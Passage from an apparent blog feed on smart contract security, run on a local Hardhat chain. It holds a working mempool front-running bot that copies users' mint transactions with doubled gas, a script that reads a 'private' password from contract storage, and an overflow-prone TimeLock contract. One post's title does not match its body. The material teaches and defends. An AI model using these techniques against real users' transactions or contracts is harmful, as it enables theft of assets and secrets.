misbehaving are incentivized to submit proof that the validator has done so. Validators will be penalized and users will be rewarded. In this case, it can be expected that miners and users will front-run all such proofs (for rewards), and this issue must be resolved before the final release.</p><p>2.Implementation of pre-submitted code</p><p>In fact, the steps to submit early are very simple:</p><ol><li><p>Monitor mempool</p></li><li><p>Submit transaction data</p></li></ol><p>We use hardhat for demonstration.</p><p>First of all, we wrote a mint NFT contract, because many times, when mint some of the more valuable NFTs, scientists will use pre-emptive transactions, so that friends who don’t know how to code can’t grab others. The contract code is simple:</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import &quot;@openzeppelin/contracts/token/ERC721/ERC721.sol&quot;;
// Uncomment this line to use console.log
import &quot;hardhat/console.sol&quot;;

contract Test is ERC721 {
    constructor(
        string memory _name,
        string memory _symbol
    ) ERC721(_name, _symbol) {}

    function mint(uint256 tokenId) external {
        _mint(msg.sender, tokenId);
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: UNLICENSED</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.9;</span>
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC721/ERC721.sol"</span>;
<span class="hljs-comment">// Uncomment this line to use console.log</span>
<span class="hljs-keyword">import</span> <span class="hljs-string">"hardhat/console.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Test</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC721</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">
        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _name,
        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _symbol
    </span>) <span class="hljs-title">ERC721</span>(<span class="hljs-params">_name, _symbol</span>) </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mint</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> tokenId</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        _mint(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, tokenId);
    }
}
</code></pre><p>Users of this contract can mint.</p><p>We publish this contract on the node network of hardhat. In this EVM environment, the block generation speed is very fast. Because the network is too fast, it is difficult to pre-submit, so we write a script to manually slow down the EVM:</p><pre data-type="codeBlock" text="import { ethers } from &quot;hardhat&quot;;

async function main() {
    const provider = ethers.getDefaultProvider(&quot;http://localhost:8545&quot;);

    await (provider as any).send(&quot;evm_setAutomine&quot;, [false]);
    await (provider as any).send(&quot;evm_setIntervalMining&quot;, [10000]);
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) =&gt; {
    console.error(error);
    process.exitCode = 1;
});
"><code><span class="hljs-keyword">import</span> { <span class="hljs-title">ethers</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"hardhat"</span>;

async <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">main</span>(<span class="hljs-params"></span>) </span>{
    const provider <span class="hljs-operator">=</span> ethers.getDefaultProvider(<span class="hljs-string">"http://localhost:8545"</span>);

    await (provider <span class="hljs-keyword">as</span> any).<span class="hljs-built_in">send</span>(<span class="hljs-string">"evm_setAutomine"</span>, [<span class="hljs-literal">false</span>]);
    await (provider <span class="hljs-keyword">as</span> any).<span class="hljs-built_in">send</span>(<span class="hljs-string">"evm_setIntervalMining"</span>, [<span class="hljs-number">10000</span>]);
}

<span class="hljs-comment">// We recommend this pattern to be able to use async/await everywhere</span>
<span class="hljs-comment">// and properly handle errors.</span>
main().catch((<span class="hljs-function"><span class="hljs-keyword">error</span>) => </span>{
    console.error(<span class="hljs-function"><span class="hljs-keyword">error</span>)</span>;
    process.exitCode <span class="hljs-operator">=</span> <span class="hljs-number">1</span>;
});
</code></pre><p>We do not allow EVM to generate blocks automatically, and the block generation interval is 10 seconds.</p><p>Let&apos;s first simulate the process of an ordinary user who doesn&apos;t know how to code to grab an NFT (tokenID is 25):</p><pre data-type="codeBlock" text="task(&quot;test-transaction&quot;, &quot;This task is broken&quot;)
    .setAction(async () =&gt; {
        const tokenId = 25;
        const contractAddress = &quot;0x5FbDB2315678afecb367f032d93F642f64180aa3&quot;;
        const test = await ethers.getContractAt(&apos;Test&apos;, contractAddress);

        try {
            const tx = await test.mint(tokenId);
            await tx.wait();
        } catch (e) {
            console.error(e);
        } finally {
            const owner = await test.ownerOf(tokenId);
            console.log(`owner of ${tokenId}: ${owner}`);
        }
    });
"><code>task(<span class="hljs-string">"test-transaction"</span>, <span class="hljs-string">"This task is broken"</span>)
    .setAction(async () <span class="hljs-operator">=</span><span class="hljs-operator">></span> {
        const tokenId <span class="hljs-operator">=</span> <span class="hljs-number">25</span>;
        const contractAddress <span class="hljs-operator">=</span> <span class="hljs-string">"0x5FbDB2315678afecb367f032d93F642f64180aa3"</span>;
        const test <span class="hljs-operator">=</span> await ethers.getContractAt(<span class="hljs-string">'Test'</span>, contractAddress);

        <span class="hljs-keyword">try</span> {
            const <span class="hljs-built_in">tx</span> <span class="hljs-operator">=</span> await test.mint(tokenId);
            await <span class="hljs-built_in">tx</span>.wait();
        } <span class="hljs-keyword">catch</span> (e) {
            console.error(e);
        } finally {
            const owner <span class="hljs-operator">=</span> await test.ownerOf(tokenId);
            console.log(`owner of ${tokenId}: ${owner}`);
        }
    });
</code></pre><p>The scientist wrote the following script:、</p><pre data-type="codeBlock" text="import { ethers } from &quot;hardhat&quot;;

const ContractAbiFile = require(&quot;../artifacts/contracts/Test.sol/Test.json&quot;);

/*
Account #1: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 (10000 ETH)
Private Key: 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d
*/
async function listen() {
    const iface = new ethers.utils.Interface(ContractAbiFile.abi);
    const privateKey = &quot;0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d&quot;;
    const provider = ethers.getDefaultProvider(&quot;http://localhost:8545&quot;);
    const myWallet = new ethers.Wallet(privateKey, provider);

    // await (provider as any).send(&quot;evm_setIntervalMining&quot;, [10000]);
    provider.on(&quot;pending&quot;, async (tx) =&gt; {
        console.log(&quot;tx detected: &quot;, tx);
        if (tx.data.indexOf(iface.getSighash(&quot;mint&quot;)) &gt;= 0 &amp;&amp; tx.from !== myWallet.address) {
            // const parsedTx = iface.parseTransaction(tx);
            // console.log(&quot;tx parsed: &quot;, parsedTx);

            const frontRunTx = {
                to: tx.to,
                value: tx.value,
                gasPrice: tx.gasPrice.mul(2),
                gasLimit: tx.gasLimit.mul(2),
                data: tx.data
            };
            const tmpTx = await myWallet.sendTransaction(frontRunTx);
            console.log(&quot;Front Tx=&quot;, tmpTx);
            await tmpTx.wait();
        }
    })
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
listen().catch((error) =&gt; {
    console.error(error);
    process.exitCode = 1;
});
"><code><span class="hljs-keyword">import</span> { <span class="hljs-title">ethers</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"hardhat"</span>;

const ContractAbiFile <span class="hljs-operator">=</span> <span class="hljs-built_in">require</span>(<span class="hljs-string">"../artifacts/contracts/Test.sol/Test.json"</span>);

<span class="hljs-comment">/*
Account #1: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 (10000 ETH)
Private Key: 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d
*/</span>
async <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">listen</span>(<span class="hljs-params"></span>) </span>{
    const iface <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> ethers.utils.Interface(ContractAbiFile.abi);
    const privateKey <span class="hljs-operator">=</span> <span class="hljs-string">"0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d"</span>;
    const provider <span class="hljs-operator">=</span> ethers.getDefaultProvider(<span class="hljs-string">"http://localhost:8545"</span>);
    const myWallet <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> ethers.Wallet(privateKey, provider);

    <span class="hljs-comment">// await (provider as any).send("evm_setIntervalMining", [10000]);</span>
    provider.on(<span class="hljs-string">"pending"</span>, async (<span class="hljs-built_in">tx</span>) <span class="hljs-operator">=</span><span class="hljs-operator">></span> {
        console.log(<span class="hljs-string">"tx detected: "</span>, <span class="hljs-built_in">tx</span>);
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">tx</span>.data.indexOf(iface.getSighash("mint<span class="hljs-string">")) >= 0 &#x26;&#x26; tx.from !== myWallet.address) {
            // const parsedTx = iface.parseTransaction(tx);
            // console.log("</span><span class="hljs-built_in">tx</span> parsed: <span class="hljs-string">", parsedTx);

            const frontRunTx = {
                to: tx.to,
                value: tx.value,
                gasPrice: tx.gasPrice.mul(2),
                gasLimit: tx.gasLimit.mul(2),
                data: tx.data
            };
            const tmpTx = await myWallet.sendTransaction(frontRunTx);
            console.log("</span>Front Tx<span class="hljs-operator">=</span><span class="hljs-string">", tmpTx);
            await tmpTx.wait();
        }
    })
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
listen().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
</span></code></pre><p>In this script, the scientist monitors the mempool and finds that there is a new tx coming in. Once the function signature <code>mint</code> is found in the data, the target is selected and a new transaction is created. The other data in this transaction are the same as the monitored transaction. The difference is to increase the <code>gasPrice</code> and <code>gasLimit</code>, and then use sendTransaction to send the transaction.</p><p>Finally, after the last ordinary user finished executing, he found that his transaction failed. And finally output the owner of the NFT whose tokenID is 25, and found that it is already the address of the scientist:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/26765c6f915c2ee198b97c1f596f5c3d70f378c9836ac232a39a3487e815b101.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>In this example, it is obvious that ordinary users are the first to mint, but the scientist is the first to trade successfully.</p><p>3.Preventive measures</p><ol><li><p>Use the commit-reveal mechanism This scheme stipulates that users send transactions using hidden information (usually hash values). After the transaction has been included in the block, the user will send a transaction to reveal the sent data (reveal phase). This approach prevents miners and users from engaging in front-running transactions, since they cannot be sure of the content of the transaction. However, this approach cannot hide the transaction value (in some cases, this is valuable information that needs to be hidden). The ENS smart contract allows users to send transactions with commitment data including the amount they are willing to spend. Users can send transactions of any value. During the disclosure phase, users can withdraw the difference between the amount sent in the transaction and the amount they are willing to spend.</p></li><li><p>Use submarine send</p><p>Detailed introduction to the original website of submarine send: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://libsubmarine.org/">https://libsubmarine.org/</a></p></li></ol>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Smart contract security: 5. Self-destruct function]]></title>
            <link>https://paragraph.com/@skka3134/smart-contract-security-5-self-destruct-function</link>
            <guid>8SArwnK9fnAxJLRbetnM</guid>
            <pubDate>Wed, 26 Jul 2023 10:35:41 GMT</pubDate>
            <description><![CDATA[The functions and state variables defined by the private keyword are only visible to the contract that defines them, and the contracts derived from the contract cannot call and access the functions and state variables. So, can we access variables that are private qualified? First, let&apos;s explain storage storage in detail. storage 1.Ordinary variables Ordinary variables Data in storage is permanently stored. It is stored in the slot slot as a key-value pair. Data in storage gets written to...]]></description>
            <content:encoded><![CDATA[<p>The functions and state variables defined by the private keyword are only visible to the contract that defines them, and the contracts derived from the contract cannot call and access the functions and state variables. So, can we access variables that are private qualified? First, let&apos;s explain storage storage in detail.</p><p>storage</p><p>1.Ordinary variables</p><p>Ordinary variables Data in storage is permanently stored. It is stored in the slot slot as a key-value pair.</p><p>Data in storage gets written to the blockchain (so they change state), that&apos;s why using storage is very expensive.</p><p>The gas cost to occupy a 256-bit slot is 20,000 gas.</p><p>Modifying the storage value will cost 5,000 gas.</p><p>When a storage slot is cleared (i.e. setting non-zero bytes to zero), an amount of gas is refunded.</p><p>storage has a total of 2^256 slots, and the 32 bytes of data in each slot are stored sequentially in the order of declaration, and the data will be stored from the right of each slot. If adjacent variables fit into a single 32 bytes, then they are stored Pack into the same slot otherwise a new slot will be enabled for storage.</p><p>Array</p><p>The storage method of arrays in storage is quite unique. First, there are two types of arrays in solidity:</p><p>(1) Fixed-length array (fixed length):</p><p>Each element in the fixed-length array will have an independent slot for storage. Taking a fixed-length array containing three uint64 elements.</p><p>(2) Variable-length array (the length changes with the number of elements):</p><p>The storage method of variable-length arrays is very peculiar. When a variable-length array is encountered, a new slot slotA will be enabled to store the length of the array, and its data will be stored in another slot numbered slotV. slotA indicates the declaration position of the variable-length array, length indicates the length of the variable-length array, slotV indicates the storage position of the variable-length array data, value indicates the value of a certain data of the variable-length array, and index indicates the index subscript corresponding to the value ,but</p><pre data-type="codeBlock" text="length = sload(slotA)
slotV = keccak256(slotA) + index
value = sload(slotV)
"><code><span class="hljs-attr">length</span> = sload(slotA)
<span class="hljs-attr">slotV</span> = keccak256(slotA) + index
<span class="hljs-attr">value</span> = sload(slotV)
</code></pre><p>The variable-length array cannot know the length of the array during compilation, and there is no way to reserve storage space in advance, so Solidity uses slotA to store the length of the variable-length array.</p><p>Let&apos;s write a simple example to verify the storage method of the variable-length array described above:</p><pre data-type="codeBlock" text="pragma solidity ^0.8.0;

contract haha{
  
  uint[] user;

  function addUser(uint a) public returns (bytes memory){
    user.push(a);
    return abi.encode(user);
  }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">haha</span></span>{
  
  <span class="hljs-keyword">uint</span>[] user;

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addUser</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> a</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span></span>)</span>{
    user.<span class="hljs-built_in">push</span>(a);
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(user);
  }
}
</code></pre><p>We input 1 and output:</p><pre data-type="codeBlock" text="0x
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000001
"><code></code></pre><p>Then on the debugger page of Remix,</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/213ee3443edac88a1485f61e5b584e5be3781f419f2a0a439f1bc118c9b51ff2.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>The first slot is (the length of the variable-length array is stored here): <code>0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563</code></p><p>This value is equal to: <code>sha3(&quot;0x00000000000000000000000000000000000000000000000000000000000000000&quot;)</code></p><p>This is a fixed value, not randomly generated.</p><p>key = 0 this is the number of the current slot;</p><p>value = 1 This means that there is only one piece of data in the variable-length array user[], that is, the length of the array is 1;</p><p>The second slot is (the data in the variable-length array is stored here): <code>0x510e4e770828ddbf7f7b00ab00a9f6adaf81c0dc9cc85f1f8249c256942d61d9</code></p><p>This value is equal to: <code>sha3(&quot;0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563&quot;)</code></p><p>The slot numbers are: key=0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563</p><p>This value is equal to: sha3(&quot;0x0000000000000000000000000000000000000000000000000000000000000000&quot;)+0</p><p>The data stored in the slot is: value=0x0000000000000000000000000000000000000000000000000000000000000001</p><p>That is, 1 in hexadecimal notation, which is the value we passed in.</p><p>We input <code>2</code> and output:</p><pre data-type="codeBlock" text="0x
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000002
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000002
"><code></code></pre><p>Then on the debugger page of Remix,</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ce48408a67401fa60e9db4f2a42eb8e2f589211c0ab07f759f2a60dbf21f9c29.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>The values ​​of the previous two slots are the same as above, here we can see that the new slots are: 0x6c13d8c1c5df666ea9ca2a428504a3776c8ca01021c3a1524ca7d765f600979a</p><p>This value is equal to: sha3(&quot;0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564&quot;)</p><p>The slot number is: key=0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564</p><p>This value is equal to: sha3(&quot;0x0000000000000000000000000000000000000000000000000000000000000000&quot;)+1</p><p>The data stored in the slot is: value=0x0000000000000000000000000000000000000000000000000000000000000002</p><p>That is 2 in hexadecimal notation, which is the value we passed in.</p><p>We input <code>5</code> and output:</p><pre data-type="codeBlock" text="0x
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000003
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000002
0000000000000000000000000000000000000000000000000000000000000005
"><code></code></pre><p>Then on the debugger page of Remix,</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/4d4217f56dab156fc32760311ac3c5d4eb15113df32ad0bd1ba3961607441922.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>The latest slots are: 0x63d75db57ae45c3799740c3cd8dcee96a498324843d79ae390adc81d74b52f13 This value is equal to: sha3(&quot;0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e565&quot;)</p><p>The slot number is: key=0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e565</p><p>This value is equal to: sha3(&quot;0x0000000000000000000000000000000000000000000000000000000000000000&quot;)+2</p><p>The data stored in the slot is: value=0x0000000000000000000000000000000000000000000000000000000000000005</p><p>That is 5 in hexadecimal notation, which is the value we passed in.</p><p>2. Vulnerabilities</p><p>There is such a contract:</p><pre data-type="codeBlock" text="contract Vault {
    uint public count = 123;
    address public owner = msg.sender;
    bool public isTrue = true;
    uint16 public u16 = 31;
    bytes32 private password;
    uint public constant someConst = 123;
    bytes32[3] public data;

    struct User {
        uint id;
        bytes32 password;
    }
    User[] private users;
    mapping(uint =&gt; User) private idToUser;

    constructor(bytes32 _password) {
        password = _password;
    }

    function addUser(bytes32 _password) public {
        User memory user = User({id: users.length, password: _password});

        users.push(user);
        idToUser[user.id] = user;
    }

    function getArrayLocation(
        uint slot,
        uint index,
        uint elementSize
    ) public pure returns (uint) {
        return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
    }

    function getMapLocation(uint slot, uint key) public pure returns (uint) {
        return uint(keccak256(abi.encodePacked(key, slot)));
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Vault</span> </span>{
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> count <span class="hljs-operator">=</span> <span class="hljs-number">123</span>;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> isTrue <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    <span class="hljs-keyword">uint16</span> <span class="hljs-keyword">public</span> u16 <span class="hljs-operator">=</span> <span class="hljs-number">31</span>;
    <span class="hljs-keyword">bytes32</span> <span class="hljs-keyword">private</span> password;
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">constant</span> someConst <span class="hljs-operator">=</span> <span class="hljs-number">123</span>;
    <span class="hljs-keyword">bytes32</span>[<span class="hljs-number">3</span>] <span class="hljs-keyword">public</span> data;

    <span class="hljs-keyword">struct</span> <span class="hljs-title">User</span> {
        <span class="hljs-keyword">uint</span> id;
        <span class="hljs-keyword">bytes32</span> password;
    }
    User[] <span class="hljs-keyword">private</span> users;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">uint</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> User) <span class="hljs-keyword">private</span> idToUser;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _password</span>) </span>{
        password <span class="hljs-operator">=</span> _password;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addUser</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _password</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        User <span class="hljs-keyword">memory</span> user <span class="hljs-operator">=</span> User({id: users.<span class="hljs-built_in">length</span>, password: _password});

        users.<span class="hljs-built_in">push</span>(user);
        idToUser[user.id] <span class="hljs-operator">=</span> user;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getArrayLocation</span>(<span class="hljs-params">
        <span class="hljs-keyword">uint</span> slot,
        <span class="hljs-keyword">uint</span> index,
        <span class="hljs-keyword">uint</span> elementSize
    </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">uint</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(slot))) <span class="hljs-operator">+</span> (index <span class="hljs-operator">*</span> elementSize);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getMapLocation</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> slot, <span class="hljs-keyword">uint</span> key</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">uint</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(key, slot)));
    }
}
</code></pre><p>From the above contract code, we can see that the Vault contract records sensitive data such as the user&apos;s username and password in the contract. From the pre-knowledge, we can know that the keywords that modify variables in the contract only limit its calling range , which indirectly proves that the data in the contract is public and can be read arbitrarily, and it is not safe to record sensitive data in the contract. Next, we will take you to read the data in this contract.</p><p>First, we use the account <code>0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266</code> to deploy the contract. When deploying the contract, we enter the following password:</p><pre data-type="codeBlock" text="  const password = ethers.utils.formatBytes32String(&quot;share123&quot;);
  const test = await Test.deploy(password);
"><code>  const <span class="hljs-attr">password</span> = ethers.utils.formatBytes32String(<span class="hljs-string">"share123"</span>)<span class="hljs-comment">;</span>
  const <span class="hljs-attr">test</span> = await Test.deploy(password)<span class="hljs-comment">;</span>
</code></pre><p>I wrote the following task with hardhat:</p><pre data-type="codeBlock" text="task(&quot;test-transaction&quot;, &quot;This task is broken&quot;)
    .setAction(async () =&gt; {
        const contractAddress = &quot;0x5FbDB2315678afecb367f032d93F642f64180aa3&quot;;

        const provider = await ethers.getDefaultProvider(&quot;http://127.0.0.1:8545&quot;);
        const slot0 = await provider.getStorageAt(contractAddress, &quot;0x0&quot;);
        console.log(&quot;slot0: &quot;, slot0);
    });
"><code>task(<span class="hljs-string">"test-transaction"</span>, <span class="hljs-string">"This task is broken"</span>)
    .setAction(async () <span class="hljs-operator">=</span><span class="hljs-operator">></span> {
        const contractAddress <span class="hljs-operator">=</span> <span class="hljs-string">"0x5FbDB2315678afecb367f032d93F642f64180aa3"</span>;

        const provider <span class="hljs-operator">=</span> await ethers.getDefaultProvider(<span class="hljs-string">"http://127.0.0.1:8545"</span>);
        const slot0 <span class="hljs-operator">=</span> await provider.getStorageAt(contractAddress, <span class="hljs-string">"0x0"</span>);
        console.log(<span class="hljs-string">"slot0: "</span>, slot0);
    });
</code></pre><p>We can use <code>getStorageAt</code> to read the data of slot0, and the final output is:</p><p>slot0: <code>0x000000000000000000000000000000000000000000000000000000000000007b</code></p><p>The hexadecimal <code>7b</code> is converted to decimal, which is <code>123</code>, which is the value of the <code>count</code> variable in our contract. It is of type uint256, with a total of 256 digits. Hexadecimal requires 64 digits.</p><p>Let&apos;s read slot1 further down:</p><p>slot1: <code>0x000000000000000000001f01f39fd6e51aad88f6f4ce6ab8827279cfffb92266</code></p><p>Looking from the back to the front, the owner is <code>0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266</code>, which is of address type, occupying 160 digits, and the hexadecimal system requires 40 digits;</p><p>The second is isTrue, which is of bool type and occupies 8 digits. The hexadecimal system requires 2 digits, which is <code>01</code> here;</p><p>Then there is u16, which is of type uint16 and occupies 16 bits. The hexadecimal system requires 4 digits, that is, <code>001f</code>, which is 31 when converted into decimal system, and the remaining digits in front are filled with zeros.</p><p>According to the contract, further down is the <code>password</code> of bytes32 type, which is of <code>private</code> type and occupies 32 bytes, so the next slot2 is this password, output: -slot2: <code>0x7368617265313233000000000000000000000000000000000000000000000000</code></p><p>We convert it to string:</p><pre data-type="codeBlock" text="console.log(&quot;password: &quot;, ethers.utils.parseBytes32String(slot2));
"><code>console.log(<span class="hljs-string">"password: "</span>, ethers.utils.parseBytes32String(slot2));
</code></pre><p>output:</p><pre data-type="codeBlock" text="password:  share123
"><code><span class="hljs-section">password:  share123</span>
</code></pre><p>It can be seen that we have successfully obtained the privacy variable password, and its value is the same as the incoming password, which is <code>share123</code>.</p><p>2.Preventive measures</p><p>Do not store any sensitive data in the contract, because any data in the contract can be read. Common sensitive data such as secret keys, game clearance passwords, etc.</p>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Smart contract security: 4. Integer overflow]]></title>
            <link>https://paragraph.com/@skka3134/smart-contract-security-4-integer-overflow</link>
            <guid>bNTvExhKKJ2psH64Y0uj</guid>
            <pubDate>Wed, 26 Jul 2023 10:34:09 GMT</pubDate>
            <description><![CDATA[1.Vulnerabilities For example, the uint8 type has a total of 8 bits, which can represent the value of 00000000~11111111, converted into decimal, which is the value range of 0~255. At this time, once the result is 256, since there are only 8 digits in total, the 9th digit 1 cannot be displayed, leaving only 00000000, which is the desired 256, but actually 0 is obtained. For example, the following TimeLock contract:pragma solidity ^0.4.18; contract TimeLock { mapping(address => uint) public bal...]]></description>
            <content:encoded><![CDATA[<p>1.Vulnerabilities</p><p>For example, the <code>uint8</code> type has a total of 8 bits, which can represent the value of <code>00000000~11111111</code>, converted into decimal, which is the value range of <code>0~255</code>. At this time, once the result is <code>256</code>, since there are only 8 digits in total, the 9th digit 1 cannot be displayed, leaving only <code>00000000</code>, which is the desired 256, but actually 0 is obtained.</p><p>For example, the following TimeLock contract:</p><pre data-type="codeBlock" text="pragma solidity ^0.4.18;

contract TimeLock {
    mapping(address =&gt; uint) public balances;
    mapping(address =&gt; uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] &gt; 0);
        require(now &gt; lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.4.18;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">TimeLock</span> </span>{
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint</span>) <span class="hljs-keyword">public</span> balances;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint</span>) <span class="hljs-keyword">public</span> lockTime;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
